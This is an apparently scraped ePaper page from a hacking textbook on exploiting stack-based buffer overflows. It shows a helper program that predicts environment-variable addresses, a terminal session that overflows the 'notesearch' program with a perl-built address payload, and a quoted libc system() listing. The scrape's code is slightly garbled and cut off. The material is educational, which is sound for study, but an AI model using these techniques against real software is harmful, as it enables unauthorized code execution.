26.07.2018 Views

hacking-the-art-of-exploitation

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

int main(int argc, char *argv[]) {<br />

char *ptr;<br />

}<br />

if(argc < 3) {<br />

printf("Usage: %s \n", argv[0]);<br />

exit(0);<br />

}<br />

ptr = getenv(argv[1]); /* Get env var location. */<br />

ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */<br />

printf("%s will be at %p\n", argv[1], ptr);<br />

When compiled, this program can accurately predict where an environment<br />

variable will be in memory during a target program’s execution. This<br />

can be used to exploit stack-based buffer overflows without <strong>the</strong> need for a<br />

NOP sled.<br />

reader@<strong>hacking</strong>:~/booksrc $ gcc -o getenvaddr getenvaddr.c<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SLEDLESS ./notesearch<br />

SLEDLESS will be at 0xbfffff3c<br />

reader@<strong>hacking</strong>:~/booksrc $ ./notesearch $(perl -e 'print "\x3c\xff\xff\xbf"x40')<br />

[DEBUG] found a 34 byte note for user id 999<br />

[DEBUG] found a 41 byte note for user id 999<br />

As you can see, exploit code isn’t always needed to exploit programs. The<br />

use <strong>of</strong> environment variables simplifies things considerably when exploiting<br />

from <strong>the</strong> command line, but <strong>the</strong>se variables can also be used to make exploit<br />

code more reliable.<br />

The system() function is used in <strong>the</strong> notesearch_exploit.c program to<br />

execute a command. This function st<strong>art</strong>s a new process and runs <strong>the</strong> command<br />

using /bin/sh -c. The -c tells <strong>the</strong> sh program to execute commands<br />

from <strong>the</strong> command-line argument passed to it. Google’s code search can<br />

be used to find <strong>the</strong> source code for this function, which will tell us more.<br />

Go to http://www.google.com/codesearch?q=package:libc+system to see<br />

this code in its entirety.<br />

Code from libc-2.2.2<br />

int system(const char * cmd)<br />

{<br />

int ret, pid, waitstat;<br />

void (*sigint) (), (*sigquit) ();<br />

if ((pid = fork()) == 0) {<br />

execl("/bin/sh", "sh", "-c", cmd, NULL);<br />

exit(127);<br />

}<br />

if (pid < 0) return(127

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!